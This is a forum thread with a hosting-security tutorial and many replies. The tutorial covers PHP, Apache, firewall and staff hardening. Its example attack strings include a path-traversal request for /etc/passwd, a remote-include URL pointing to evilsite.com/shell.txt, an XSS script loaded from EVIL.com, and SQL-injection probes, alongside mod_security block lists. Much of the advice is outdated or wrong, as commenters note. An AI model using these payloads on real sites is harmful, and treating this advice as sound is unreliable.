-= Securing Your Hosting Company =-
-- Credits: DeadlyData --

Part I. Your own websites security.

The first step you always want to take to secure your hosting company is to make sure your own website.

Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.

Next try any Get Vars in your scripts and put a ' at the end of them what I mean is you have = you add ' so it's yourwebsite.com/page?=' or any other similar thing not only page= you may also try char(39) rather then only ' most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ' but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
If you get an error you might want to check the script.

The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.

If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)...
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use
The following to browse into other places ../../../../ if they wanted to they'd view your passwd file via ../../../../../../etc/passwd

Well right now you'd say big Woop they got some users maybe not but still have the ability to go to any forum on
that server and upload an avatar with PHP-EXIF data in it then include it
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all...

Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.

Ok next were going to discuss the abilities of an RFI and how to block it...
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
www.yoursite.com/file.php?file=evilsite.com/shell.txt (http://www.yoursite.com/file.php?file=evilsite.com/shell.txt)? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL
http://www.evilsite.com mod_security will block it.

Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this...

What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn't really see it... but when you clicked they could potentially grab your cookie or any current stored browser information.
With this they could use your cookie as their own to login as you... maybe even get password information from this
cookie...

Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as...
www.mysite.com/info.php?xss=<script>src=http://EVIL.com/xss.js</script>
Never click it what so ever... ban the person who has sent this.

Ok now for the mod_security bans... add <script> add <body= add </script> add ">
And this should fix your XSS problems that can actually cause damage...

As for SQL injection the way to block this is to... add ' or /* to the mod security be sure to add in char(39) as it's ' in php and php will in fact read it from a URL and interpret it as ' and still launch the sql injection.

One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.

Zend should fix this problem.

Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.


Part II. Your Employees


RULE-1 -PASSWORDS
Do not use password even more then once on your servers if you do the first time some one gets your password to any
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company...

RULE-2 -PHONE CHATS
Always request a person's information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.

RULE-3 -Email CHATS
This one is a bit easier there is no emotion to what the person is trying to do...
If they slip up on one peace of information be sure to email them back and ask them to correct it before even
Sending any thing back or touching any thing.

RULE-4 -Talking to each other
While talking to each other in public services.. or services that my be able to be taped such as an IRC...
Be sure not to mention any root passwords, client names, etc...

Part III. Securing Your Server

Ok well first were going to do the obvious and CHMOD /home to 755

This is simple just go ahead and type chmod 755 /home
Or
CD /
chmod 755 home

Next were going to make sure no user has any bash access what so ever.

This may already be setup by the current hosting control panel you are using...
If not were going to nano /etc/passwd and make sure all Linux users that you don't want having bash are set to
/sbin/nologin

I realize some hosting companies also do dedicated server companies so it wouldn't work out if your client didn't have
bash to the server.
So this is mainly based for the shared hosting servers.


Part IV. PHP Configuration.


Now were going to do some things to PHP.ini
usr/local/lib/php.ini
^ On Most Systems
safe_mode = On
safe_mode_gid = Off
open_basedir = directory [:...]
safe_mode_exec_dir = directory [:...]
expose_php = Off
register_globals = Off
display_errors =Off
log_errors = On
error_log = filename
magic_quotes=On
disable_functions = show_source, system, shell_exec, passthru, exec,
phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminate

Some explanations of the functions your disabling.


show_source(), Disables functions most shells use to view the source of other files one commonly
c99, ModfiedC99 (c100), ModfiedC99(x2300)
phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you don't
want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to
date.
system, Allows Bash Commands Via PHP

shell_exec, Allows Bash Commands via PHP

exec, Allows Bash Commands Via PHP

popen, Almost like Bash not quite but close using PHP

proc_open, Almost like bash not quite but close using PHP

base64_decode, decodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security

base64_encode, encodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security

proc_terminate, Terminates Processes running on the server.

Some reasons for having magic quotes on, it disables most nullbyte attempts (%00)
And will stop a small majority of SQL injections.


Part V. MySQL and Apache Configurations


Disable all out bound MYSQL connections...

Besides from Trusted Servers

This may actually be set in the host's field of the users in the actual MYSQL table, for each user account it lets you
Give them an IP or type any I'd recommend giving them an IP...
Although when you give them and IP don't worry it's not that you can only have one IP able to access that user you
do in fact have the ability to recreate the user
over and over and fill in the IP field differently each time.

Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID

A reference Document on how to do this can be found here.

http://httpd.apache.org/docs/1.3/suexec.html

Comments:
What this will do with apache is pretty much make sure that the users can't access other users directories on the
Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same
server... this protects against it. All though apache is running under each user using SuEXEC would solve that problem.


Part VI. SSH Keys.

It's not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.

A tutorial on how to do this can be found here:

http://www.sun.com/bigadmin/content/submitted/ssh_setting.html

If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.


There are some references for this located here

http://linux.about.com/od/commands/l/blcmdl5_hostsal.htm


And here

http://www.userlocal.com/security/securinginetdetc.php


Part VII. BackDoor-Trojan-Rootkit (http://www.webhostingtalk.com/#HRS) Proctection & FireWall Setup


Down To The Back Door Protection

In the even some one gets access to your server even with all the security you've gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,


So what exactly are some things you can do to prevent this if not stop it.

Well I honestly don't think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.


But you can stop or remove them once their on your system, or prevent them from being ran.

What all can a person do just by having the ability to upload a file.
Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.

At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process.

Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.


Trojans & Viruses on Linux aren't too much of a worry as there aren't too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system.

Now a couple things I've researched on that can help prevent this.


---
Root Kit Hunter.
---
Description:

Root kit scanner is scanning tool to ensure you for about 99.9%* you're clean of nasty tools. This tool scans for
Root kits, backdoors and local exploits by running tests like:

- MD5 hash compare
- Look for default files used by root kits

- Wrong file permissions for binaries
- Look for suspected strings in LKM and KLD modules
- Look for hidden files
- Optional scan within plaintext and binary files

-------
Comments:
I highly recommend Root Kit Hunter.
---
Download
---
http://www.rootkit.nl/projects/rootkit_hunter.html
---
Clam Antivirus
---
Description:

* Command-line scanner
* Fast, multi-threaded daemon with support for on-access scanning
* milter interface for sendmail
* advanced database updater with support for scripted updates and digital signatures
* virus scanner C library
* on-access scanning (Linux and FreeBSD)
* virus database updated multiple times per day (see home page for total number of signatures)
* built-in support for various archive formats, including Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM,
BinHex, SIS and others
* built-in support for almost all mail file formats
* built-in support for ELF executables and Portable Executable files compressed with UPX, FSG, Petite, NsPack,
wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others
* built-in support for popular document formats including MS Office and Mac Office files, HTML, RTF and PDF
-------
Comments:
Honestly I'd recommend this even when using Mod-Security I've built shells that will in fact bypass modsecurity well
this well scan the source codes of the PHP shell
and make sure thereï؟½s nothing that could potentially harm or allow the user to have to much access over the system.

---
Download
---
http://www.clamav.net/download/
--


Banning The Brute Forcers, FTP, SSH, etc.
---
APF (Advanced Policy Firewall)
---

Description:


Rather then grabbing this one off their site I figured I'd write one.

Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.

Allows alot of configuration options some of which may also benfit in bandwidth saving and DDoS prevention,
Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems.
Then this will block it from connecting back to them and them connecting back to it.
---
Comments:
I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward.
To make sure every one has the ability to get into their teamspeaks,

Some commands that can be used with this Firewall just incase you decide to use it.


Banning an IP
apf -d IP

Unbanning an IP
apf -u IP

I recommend ignoring your own IP in the


/etc/apf/allow_hosts.rules

Using the following syntax you can ignore your IP from all firewall rules meaning you don't follow them.


d=PORT:d=IP // ENABLES YOUR IP COMMING IN ON THE PORT
out:d=PORT:d=IP // ENABLES YOUR IP GOING OUT ON THE PORT

For ranges you may do the following 192.168.1.1/255

It will then forward from 192.168.1.1 to 192.168.1.255 to be enabled

---
Download
---
http://www.r-fx.ca/downloads/apf-current.tar.gz


Part VIII. DDoS Protection and Saving Bandwith + Remote Loging.
---

Server Monitoring Remotely
---
Log Watch
---
Description:

An application that runs twenty-four seven on your server and sends the following things after going through them to your email.
-Apache_Access Logs

-Apache_Error Logs
-SSH_LOGIN's Failed Or Succeeded
-FTP Logs
-Mail Logs
-Current HDD Sizes
-Kernel Logs
-Mail Logs
-Yum/APT-GET Logs

Comments:
This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc.
The only main requirement is that you have SendMail Running.



Mail Spam Protection
---

Spam Assassin
---

Description:

The core distribution consists of command line tools to perform filtering along with Mail::SpamAssassin, a set of Perl modules which allow SpamAssassin to be used in a wide range of products.

Comments:
Never used it my self because I've never really had to bad of mail spam problems on my server but from what I've
read it is in fact pretty good at filtering out the spam in your emails.

---
Download
---
http://spamassassin.apache.org/downloads.cgi?update=200705021400

---
Some Extra Mail Protection

---
Be sure that your mail-server only allows your Server to use it or any other servers you may trust and deny all
others
many people will attempt to use open mail servers and spam resources.


---
DDoS Protection & Bandwidth Saving.

---
Ok first off some things people might do while DDoSing you.

Unless theDDoS attack is very strong I highly doubt it will take your whole server offline most DDoS attacks will mainly hit their targets port
in most cases their target would be Apache, but in other cases maybe even a teamspeak it's a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in APF

But a basic thing you can do is have APF installed drop all ICMP packets. This will disable the ability to ping your server.
Next Install DDoS Deflate


---
DDoS Deflate
---
Comments/Description:
From my own experience an well written Perl Script that was made to run along with APF and monitor how many times an
IP is connected to your server before it bans it you may also run it manually typing the following in shell.

ddos Number Of Connections Allowed

When this is typed the Perl script will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.


---
More Information can be found on this at

http://blog.medialayer.com/projects-ddos-deflate/

----
Download
----
http://www.inetbase.com/scripts/ddos/


Ok now for bandwidth saving and DDoS protection at the same time there is this really cool thing made for apache servers it's called mod_evasive
It will limit the number of connections a person may open with apache and if they open to many it will ban them for what ever time you specify in the config.



---
mod_evasive

---

Detailed Description:
mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.


Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following:
* Requesting the same page more than a few times per second
* Making more than 50 concurrent requests on the same child per second
* Making any requests while temporarily blacklisted (on a blocking list)

This method has worked well in both single-server script attacks as well as distributed attacks, but just
like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why it's a good idea to integrate this with your firewalls and routers for maximum protection.


This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on 'reload' should not be affected
Unless they do it maliciously. mod_evasive is fully tweak able through the Apache configuration file, easy to
Incorporate into your web server, and easy to use.


--- Comments:
This is a module I have in fact used with Apache before it honestly can get annoying if you configure it incorrectly

because you will be simply visiting the website and get banned.


---
Download/Install Tutorial

---
http://www.eth0.us/mod_evasive


--= That Will Cover Alot Of Security Issues =-

Hope you learned something, and benefited your server..

Have a good day!

Nice article, you must have taken lot of time typing.

Thanks, and well this article has been written 2 weeks ago... :)

This subject is very important for protection but lacks more details about the program's setup

This subject is very important for protection but lacks more details about the program's setup

Don't forget a lot of servers could be different, and so if he put the installation instructions in for one server, and someone else copied it, it could go horribly wrong.

Disabling php functions is wrong, and will involve individuals just leaving, end of story. There are PLENTY of other ways to do things securely, but disabling php functions is just asking for problems.

Case in point:
(most) image galleries won't work with the said configuration, because they rely on imagemagick, or something else, or rely on system() calls. What, you're going to tell your customers "I'm sorry, but you can't have a gallery"?

base64(de/en)code, again, quite common. There is no reason to terminate or not allow this to be used.


APF (Advanced Policy Firewall)

Use something that DOESN'T require 5 million configuration files for Brute force/etc , CSF (http://www.configserver.com/cp/csf.html) handles things properly, and the developer doesn't dissapear for months on end. Rather than configure things differently per application (sshd, mail, http, etc), and rely on cron jobs, you're better off using ONE configuration file for ONE application that handles things properly. APF is pretty much dead, the author abandoned it for almost 2 years until he found he had some competition.



As for SQL injection the way to block this is to... add ' or /* to the mod security be sure to add in char(39) as it's ' in php and php will in fact read it from a URL and interpret it as ' and still launch the sql injection.

NOTHING will block an SQL injection aside from proper code. If the evildoer wants to get something injected, they will do it. Using your method will cause problems with applications that are legitimately trying to do things a certain way.

Security isn't about disabling things for clients, it's about making sure that clients can use things while the server itself is reasonably safe. Nothing will EVER be 100% of the way safe, ever, as long as it is plugged in.

Usefull topic, particularly the information about your staff.

Training staff to be aware of security threats is difficult especially if they are unexperienced.

thats gr8 good job
i have others functions that we must disable it

11481

Use something that DOESN'T require 5 million configuration files for Brute force/etc , CSF handles things properly, and the developer doesn't dissapear for months on end. Rather than configure things differently per application (sshd, mail, http, etc), and rely on cron jobs, you're better off using ONE configuration file for ONE application that handles things properly. APF is pretty much dead, the author abandoned it for almost 2 years until he found he had some competition.

On the other hand, APF works perfectly for what it is, a firewall. CSF is not a firewall...it is a security suite. There is obviously a big difference. (besides that CSF itself has had vulnerabilities...)

Disabling php functions is wrong, and will involve individuals just leaving, end of story. There are PLENTY of other ways to do things securely, but disabling php functions is just asking for problems.

If these functions are required on the server, then fine - don't disable them. But if they are not required, why not disable them especially when they are commonly used in exploits?

turning on safe mode can disable most php scripts , you may want to leave it off .

If these functions are required on the server, then fine - don't disable them. But if they are not required, why not disable them especially when they are commonly used in exploits?

Do you know everything that your client installs every day? Of course not. Do you want your client mailing you, or hitting up your support desk complaining that their new software doesn't work because you've disabled something? Of course not.

Put yourself in the CLIENT'S shoes here. It's unreasonable to expect that clients have to ask the host for permission to install each and every bit of software.

Want to know the quickest way to lose business? Make your clients contact you for any small detail. This is EXACTLY what is going to happen here.

Want to know the quickest way to KEEP business? Provide service so good that the client NEVER has to contact you, that they FORGET who they're hosting with, making the hosting service transparent. Not only will this keep clients, it will keep you (reasonably) stress free, as you're not answering countless support tickets every day with things like "why isn't this working" or "Your service sucks, give me what I pay for".

There are other ways to address these functions that may (or may not) be a security risk, disabling them is NOT an option when you're running a real hosting business.

This must be one of the best ever resouces for new web hosts and anyone in general:P

Very good work, Bookmarked!

-Dan

thanks dear

appreciate your sharing. a great tutorial!

On the other hand, APF works perfectly for what it is, a firewall. CSF is not a firewall...it is a security suite. There is obviously a big difference. (besides that CSF itself has had vulnerabilities...)


Could you elaborate? I was thinking of using CSF

The CSF/APF debate has been constant since CSF entered the world. Unfortunately, the APF camp has taken to accusations of theft, vulnerabilities, and more, because they don't like the fact that their "baby" has more "customers" than CSF.

CSF is just as much of a firewall as APF, in fact, moreso.

It handles things that APF alone can not do, such as block brute force attacks, scan files, handle md5 comparisons of files, handle mod_security attacks, handle login failures, handle watching directories, handle watching users, etc. Best of all, it's EASY to configure, and (typically), works right out of the box.

While APF+BFD+LFD+SEL+insertotherapphere may be able to handle SOME (note: some) of what CSF does, there are quite a few drawbacks:

A> These are each individual applications, which require their own configurations.

B> The author has all but abandoned most of these projects. The last update to APF came months after customers came screaming because it wouldn't work with their latest OS versions. Prior to that, 2 years had gone since the software had been updated. Compare that to the authors of CSF who listen to customer responses, take feedback, and build a greater product because of it.

C> The configurations in A usually won't work right out of the box. In most cases, each application has to be individually configured (especially in the case of BFD), and even then might, might not work.

D> APF antidos is highly beta, even admitted so by the author, whereas, the antidos module in CSF is reasonably stable, and does more than just check logfiles, which APF's module will do only.


Are there vulnerabilities? I'm sure if you looked hard enough you'd find them in ALL applications. The NICE thing about CSF though, is the author is active in various forums, whereas Ryan of RFX has been known to dissapear, at times with customer's money, so if vulnerabilities are found, I'd say they have a stronger chance of getting resolved in CSF, over APF, easily.

Ultimately, it's going to be your own choice which firewall software to use. Neither of these are "direct firewalls", both rely on iptables to function properly. That's where the simillarities end though. If you want something that WORKS as a firewall (and more) right out of the box, and is EASY to configure and keep track of, go with CSF. If you feel comfortable installing and configuring 5+ apps separately, go with APF+bfd+lsf+whateverappittakes .

Thanks linux-tech.

Think I'll give CSF a run. I'm going to fisrt take small bites and try to harden my VPS...

I don't agree on chmod 755 /home

Good very good...

thank!! great article!!

I don't agree on chmod 755 /home
Why You Don't Agree ..!!

Why You Don't Agree ..!!

for what reason you should make /home world readable , some malicious scripts like c99 would be able to list all users on the server and if he use a simple brute force attack he can login to those accounts with weak passwords through FTP or ssh .

for what reason you should make /home world readable , some malicious scripts like c99 would be able to list all users on the server and if he use a simple brute force attack he can login to those accounts with weak passwords through FTP or ssh .

c99 is a SHELL script, and it's hardly 'malicious'. Just because you see it with only 'malicious' use doesn't mean that it only CARRIES 'malicious' use.

And that kind of obscurity really shows a lack of knowledge. /home/ being a+r is not a 'security concern'. Hell, if that was the case, then passwd would be just the same, but it's not.

Security is NEVER about 'obscurity',but about properly updating and keeping your server safe from individuals with malicious intent. Hiding 'users' from the world is not 'security', it is just about paranoia. If you've got a properly secured server, the user isn't going to get far with a 'brute force' anyways.

CHMODing /home to 755 is fine, I don't see anything bad with CHMODing it. It may provide some more security to your users aswell.

Very great nice tutorial.

Thanks for to aporting. :agree:

Security and ease of use often required a delicate balance.

Great tut ive book marked this, one thing id change is apf to csf though, but what would be even more secure if you have the means to is a hardware based firewall

chmod 711 is better for /home, if anyone has a counter-argument, let's hear it.

Why it's better:

1) Apache can chdir to the user's public_html directory while /home is chmod 711. 700, couldn't.
2)
root@bonkers[/home] $ chmod 711 /home
root@bonkers[/home] $ su - photos
To see how much disk space is left on your partitions, use

df -h
-- Dru <genesis@istar.ca>
[photos@bonkers ~]$ ls /home
ls: home: Permission denied
[photos@bonkers ~]$

Apache's still accessible, user's can't browse /home. However, it's kind of a dumb point, because they can always look at /etc/passwd, which has to be world readable.

Great post. It's very informative and helpful. I always look forward to this kind of post as it will truly help me as a newbie. I'm really up to technical and security topics so i hope you'll be posting more like this post. Truly inspires me. So long!

Thanks, For the Information Helped alot

If you are running APF, you should also install BFD. As of this post I don't see BFD mentioned in the first post.

BFD has a lot of advantages since you can customize it yourself. The "rules" scripts are just shell scripts that filter the log files. You can make your own filters for your particular application.

It's good enough by default, but as time goes on you can tune it to your own needs.

See my other posts on WHT for updated scripts.

rfxnetworks.com/bfd.php

Thanks You
Good Work :D

Nice tutorial. Good points about client verification and WHOIS data.

-mike

Thanks alot.

nice tutorial, really needed

Great tutorial. Might be an idea to expand the SSH keys section slightly as this is an often unknown feature to many new users, and of course the associated security and explainations on private keys and public keys.

Nice tutorial security. :agree:

Thank you...

Good One. Can we have similar tutorial for Windows 2003 servers?

Sigh...O windows 2003, what a piece of work anyways. Like the tut though it was a little vague in some areas!

nice work i found a few things that are usefull to me thenk you for your time

Great tutorial, Thanks

Thanks for this great tutorial, it did provides a definite guide to anyone who wanted to start a web hosting company.

I appreciated it as it helps me too :-)

thanks, great tutorial. :D

safe_mode does not provide any security.
/home as 744, not 755.
If you're using PHP, use suPHP or FCGID. Either is vastly better than letting all scripts run as nobody, and requiring insecure permissions for those scripts to access files.

thanks for tutorial :) great~!

worth the read, at least gives you an idea of some security issues

thanks for tutorial :) great~!

be carefull everyone. these may help but there are newer things that can and need to be done 3 years later


still a great guide though

"Disabling php functions is wrong, and will involve individuals just leaving, end of story. There are PLENTY of other ways to do things securely, but disabling php functions is just asking for problems.

Case in point:
(most) image galleries won't work with the said configuration, because they rely on imagemagick, or something else, or rely on system() calls. What, you're going to tell your customers "I'm sorry, but you can't have a gallery"?

base64(de/en)code, again, quite common. There is no reason to terminate or not allow this to be used.


Use something that DOESN'T require 5 million configuration files for Brute force/etc , handles things properly, and the developer doesn't dissapear for months on end. Rather than configure things differently per application (sshd, mail, http, etc), and rely on cron jobs, you're better off using ONE configuration file for ONE application that handles things properly. APF is pretty much dead, the author abandoned it for almost 2 years until he found he had some competition.



NOTHING will block an SQL injection aside from proper code. If the evildoer wants to get something injected, they will do it. Using your method will cause problems with applications that are legitimately trying to do things a certain way.

Security isn't about disabling things for clients, it's about making sure that clients can use things while the server itself is reasonably safe. Nothing will EVER be 100% of the way safe, ever, as long as it is plugged in."

<< Removed >> I have all these functions and more disabled and guess what? I have never had any problems with galleries or captchas. Leaving PHP functions enabled that use BASH is stupid and in my line of work people complain if PHP functions are not disabled. Many people ask prior to buying what functions are disabled and how permissions are set up.

Also I would like to add that only granting access to system commands to the root user is a good idea.

rfxn .com /projects/linux-environment-security

Really, is there any good tutorials/guides out there similiar to this? Every single one I seen so far seem to have a fairly negative review by one or more users.

Really, is there any good tutorials/guides out there similiar to this? Every single one I seen so far seem to have a fairly negative review by one or more users.

Hey, It's 0ni. I know you from some site. Here is my PHP configuration:

http://0nihosting.com/dongs.ini

Very Usefully article for everyone. Thank you very much xRoMeOx & WHT

A very good read and I'm sure there's more debate and usefulness to come. Thanks to the OP and other contributors.

Thanks for this very good and I have learned from people!

Thank you, but not enough

Thanks for this was good reading and good to know that when my VPS provider did the initial hardening / firewall stuff they got it right. Will add this to my knowledge base for other who buy hosting from me (will mention the author too :) )

thanks for sharing.

As regards the security of the server, he has forgotten one of the most important things - secure the kernel. Use grsec. Make it module-less. Remove all unwanted stuff off the kernel.

I don't see anything about SSH security either. Stuff like allow only certain users to access SSH. Disable root login. Allow only certain trusted IPs to access SSH.

Good article, but lots of things missing;-)

Good collection of info, however, certain obvious things aren't covered. E.g.

1. Firewall (iptables or anything built upon it). Using port knocking and other simple tricks will harden security, as well.

2. Real-time network monitoring. Keeping an eye on important events is a must. Early warning is very important. LogWatch is not enough to react to unpleasant events quickly.

3. Web server. Using 'Engine X' (nginx), in conjunction with Apache (relatively easy setup) or without Apache at all (non-trivial setup in certain cases) allows to harden security by handling a number of DoS attacks; lower server load by speeding up the (static) documents delivery; takes less RAM in general case.

4. PHP. Tools such as Zend Optimizer, eAccelerator can also lower server load, significantly.

5. Spam. DSPAM, as my experience tells me, is the superb tool, clever enough,, with small footprint and good means of control.

Also: what's the sense of blocking base64 encode/decode, if those functions are easily implemented in PHP itself?

Thanks!

Many thnx ..

Don't need to disable base64 or you will get a lot ticket complant from your customers.
Chmod 711 home i think better :D

Thanks man, great topic.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL
http://www.evilsite.com mod_security will block it.


Can you explain this please?

Thanks for this - has been a great help!

Very useful and well written tutorial - thanks for this!

Thanks in advance
regards

This is just a notice that some of the things in this tutorial are wrong!

First of all do not use PHP Safe Mode - that's the worse thing to do ever! It may seem like a "safe" thing to do but it's only going to honestly piss off you customers. Enable open_basedir - thats good. And CHMOD your /home/ directory to 755; also good.

Ok, disabling base64_encode and base64_decode is stupid. Really - stupid.

If you do this, WHMCS will break, WHMCS uses it as part of the server password encryption process; and you will break it. If your doing that might as well go disable crypt, urlencode, urldecode, ord, chr, str_replace.

Stick to disabling shell functions, and posix_ functions.

There is no *real* threat about /etc/passwd other then knowing every username on the server, and there home directory. The real threat is the shadow file with the passwords in it, which you won't be able to access anyway.

Honestly, this tutorial is outdated and should no longer be used. - Yes some good information, but a lot is outdated.

A lot can change in 3 years.

awesome tutorial- very detailed! thanks ;)

(even if it is old)

Thanks for this!

Thank you share your knowledge

Thanks for taking the time to write this.

you have done a tough work to share this very important information with users of WHT thanks a lot.

Thanks for sharing! It is an useful article.

Now were going to do some things to PHP.ini
usr/local/lib/php.ini
^ On Most Systems
safe_mode = On
safe_mode_gid = Off
open_basedir = directory [:...]
safe_mode_exec_dir = directory [:...]
expose_php = Off
register_globals = Off
display_errors =Off
log_errors = On
error_log = filename
magic_quotes=On
disable_functions = show_source, system, shell_exec, passthru, exec,
phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminate

Some explanations of the functions your disabling.
safe_mode ON ??
if i turn it to ON ..will it make my some billing script(whmcs) stop?

safe_mode ON ??
if i turn it to ON ..will it make my some billing script(whmcs) stop?

Safe mode is deprecated in 5.3, so if you're running 5.3 (you should be), you're going to be safe.

Thanks a lot, just went through this very helpful. Also read the comments bit of a debate.

Thanks, will be useful, especially the staff part. However, I do agree with linux-tech, to use CSF instead of APF

Super article man It 100% helpful for me. Thanks

stop bumping this thread.. this is wrong.. safemode is gone.. shouldn't be using anything but paramterized queries...

use the owasp modsec ruleset, don't roll your own

magic quotes wtf

stop bumping this thread.. this is wrong.. safemode is gone.. shouldn't be using anything but paramterized queries...

use the owasp modsec ruleset, don't roll your own

magic quotes wtf

Yep, anyone who uses this guide is pretty much harming their security now. Maybe a moderator could update it or we can delete it or move it somewhere.